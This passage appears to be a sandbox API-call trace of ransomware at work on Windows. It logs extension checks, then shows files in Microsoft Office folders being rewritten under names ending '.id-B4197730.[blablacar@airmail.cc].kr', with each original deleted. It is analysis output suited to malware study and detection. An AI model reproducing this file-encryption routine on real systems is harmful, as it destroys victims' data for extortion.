(lpString=".dbf") returned 4 [0185.740] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.740] lstrlenW (lpString=".1cd") returned 4 [0185.740] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0185.740] lstrlenW (lpString=".jpg") returned 4 [0185.740] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.740] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.740] lstrlenW (lpString="PARNT_07.MID") returned 12 [0185.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0186.044] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=6564) returned 1 [0186.044] CloseHandle (hObject=0x520) returned 1 [0186.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 0x220 [0186.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0186.608] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.609] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0186.610] GetLastError () returned 0x0 [0186.610] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x19a4, lpOverlapped=0x0) returned 1 [0186.640] WriteFile (in: hFile=0x538, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x19b0, lpOverlapped=0x0) returned 1 [0186.643] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.643] WriteFile (in: hFile=0x538, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.643] SetEndOfFile (hFile=0x538) returned 1 [0186.643] CloseHandle (hObject=0x538) returned 1 [0186.648] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.649] SetEndOfFile (hFile=0x3f8) returned 1 [0186.651] CloseHandle (hObject=0x3f8) returned 1 [0186.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0186.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.652] lstrlenW (lpString=".doc") returned 4 [0186.652] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.652] lstrlenW (lpString=".docx") returned 5 [0186.652] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0186.652] lstrlenW (lpString=".pdf") returned 4 [0186.652] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.652] lstrlenW (lpString=".xls") returned 4 [0186.652] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.652] lstrlenW (lpString=".xlsx") returned 5 [0186.652] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0186.652] lstrlenW (lpString=".ppt") returned 4 [0186.652] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.652] lstrlenW (lpString=".zip") returned 4 [0186.653] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.653] lstrlenW (lpString=".rar") returned 4 [0186.653] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.653] lstrlenW (lpString=".bz2") returned 4 [0186.653] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.653] lstrlenW (lpString=".7z") returned 3 [0186.653] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.653] lstrlenW (lpString=".dbf") returned 4 [0186.653] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.653] lstrlenW (lpString=".1cd") returned 4 [0186.653] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.653] lstrlenW (lpString=".jpg") returned 4 [0186.653] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.653] lstrlenW (lpString=".doc") returned 4 [0186.653] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0186.653] lstrlenW (lpString=".docx") returned 5 [0186.653] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0186.653] lstrlenW (lpString=".pdf") returned 4 [0186.653] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0186.653] lstrlenW (lpString=".xls") returned 4 [0186.654] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0186.654] lstrlenW (lpString=".xlsx") returned 5 [0186.654] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0186.654] lstrlenW (lpString=".ppt") returned 4 [0186.654] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0186.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.654] lstrlenW (lpString=".zip") returned 4 [0186.654] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0186.654] lstrlenW (lpString=".rar") returned 4 [0186.654] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0186.654] lstrlenW (lpString=".bz2") returned 4 [0186.654] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0186.654] lstrlenW (lpString=".7z") returned 3 [0186.654] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0186.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.654] lstrlenW (lpString=".dbf") returned 4 [0186.654] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0186.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.654] lstrlenW (lpString=".1cd") returned 4 [0186.654] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0186.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 68 [0186.654] lstrlenW (lpString=".jpg") returned 4 [0186.654] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0186.654] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.654] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0186.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0186.655] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=334131) returned 1 [0186.655] CloseHandle (hObject=0x3f8) returned 1 [0186.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0186.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0186.656] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.656] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.656] GetLastError () returned 0x0 [0186.656] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x51933, lpOverlapped=0x0) returned 1 [0186.804] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x51940, lpOverlapped=0x0) returned 1 [0186.811] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.811] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xf8, lpOverlapped=0x0) returned 1 [0186.811] SetEndOfFile (hFile=0x534) returned 1 [0186.811] CloseHandle (hObject=0x534) returned 1 [0186.811] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.811] SetEndOfFile (hFile=0x3f8) returned 1 [0186.821] CloseHandle (hObject=0x3f8) returned 1 [0186.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0186.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0186.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.823] lstrlenW (lpString=".doc") returned 4 [0186.823] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.823] lstrlenW (lpString=".docx") returned 5 [0186.823] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.823] lstrlenW (lpString=".pdf") returned 4 [0186.823] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.823] lstrlenW (lpString=".xls") returned 4 [0186.823] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.823] lstrlenW (lpString=".xlsx") returned 5 [0186.823] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.823] lstrlenW (lpString=".ppt") returned 4 [0186.824] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.824] lstrlenW (lpString=".zip") returned 4 [0186.824] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString=".rar") returned 4 [0186.824] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString=".bz2") returned 4 [0186.824] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString=".7z") returned 3 [0186.824] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.824] lstrlenW (lpString=".dbf") returned 4 [0186.824] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.824] lstrlenW (lpString=".1cd") returned 4 [0186.824] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.824] lstrlenW (lpString=".jpg") returned 4 [0186.824] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.824] lstrlenW (lpString=".doc") returned 4 [0186.824] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString=".docx") returned 5 [0186.824] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0186.824] lstrlenW (lpString=".pdf") returned 4 [0186.824] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString=".xls") returned 4 [0186.824] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0186.824] lstrlenW (lpString=".xlsx") returned 5 [0186.824] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0186.824] lstrlenW (lpString=".ppt") returned 4 [0186.825] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0186.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.825] lstrlenW (lpString=".zip") returned 4 [0186.825] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0186.825] lstrlenW (lpString=".rar") returned 4 [0186.825] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0186.825] lstrlenW (lpString=".bz2") returned 4 [0186.825] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0186.825] lstrlenW (lpString=".7z") returned 3 [0186.825] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0186.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.825] lstrlenW (lpString=".dbf") returned 4 [0186.825] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0186.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.825] lstrlenW (lpString=".1cd") returned 4 [0186.825] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0186.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0186.825] lstrlenW (lpString=".jpg") returned 4 [0186.825] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0186.825] lstrcmpiW (lpString1=".eftx", lpString2=".kr") returned -1 [0186.825] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0186.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0186.827] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=54347) returned 1 [0186.827] CloseHandle (hObject=0x3f8) returned 1 [0186.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0186.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0186.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0186.827] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.827] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0186.828] GetLastError () returned 0x0 [0186.828] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0xd44b, lpOverlapped=0x0) returned 1 [0187.158] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xd450, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xd450, lpOverlapped=0x0) returned 1 [0187.159] ReadFile (in: hFile=0x3f8, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.160] WriteFile (in: hFile=0x534, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0xf0, lpOverlapped=0x0) returned 1 [0187.160] SetEndOfFile (hFile=0x534) returned 1 [0187.160] CloseHandle (hObject=0x534) returned 1 [0187.160] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.160] SetEndOfFile (hFile=0x3f8) returned 1 [0187.190] CloseHandle (hObject=0x3f8) returned 1 [0187.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0187.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 1 [0187.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.191] lstrlenW (lpString=".doc") returned 4 [0187.191] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.191] lstrlenW (lpString=".docx") returned 5 [0187.191] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.191] lstrlenW (lpString=".pdf") returned 4 [0187.191] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.191] lstrlenW (lpString=".xls") returned 4 [0187.191] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.191] lstrlenW (lpString=".xlsx") returned 5 [0187.191] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.191] lstrlenW (lpString=".ppt") returned 4 [0187.191] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.192] lstrlenW (lpString=".zip") returned 4 [0187.192] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString=".rar") returned 4 [0187.192] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString=".bz2") returned 4 [0187.192] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString=".7z") returned 3 [0187.192] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.192] lstrlenW (lpString=".dbf") returned 4 [0187.192] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.192] lstrlenW (lpString=".1cd") returned 4 [0187.192] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.192] lstrlenW (lpString=".jpg") returned 4 [0187.192] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.192] lstrlenW (lpString=".doc") returned 4 [0187.192] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString=".docx") returned 5 [0187.192] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0187.192] lstrlenW (lpString=".pdf") returned 4 [0187.192] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString=".xls") returned 4 [0187.192] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0187.192] lstrlenW (lpString=".xlsx") returned 5 [0187.192] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0187.192] lstrlenW (lpString=".ppt") returned 4 [0187.192] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0187.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.193] lstrlenW (lpString=".zip") returned 4 [0187.193] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0187.193] lstrlenW (lpString=".rar") returned 4 [0187.193] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0187.193] lstrlenW (lpString=".bz2") returned 4 [0187.193] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0187.193] lstrlenW (lpString=".7z") returned 3 [0187.193] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0187.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.193] lstrlenW (lpString=".dbf") returned 4 [0187.193] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0187.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx") returned 86 [0187.193] 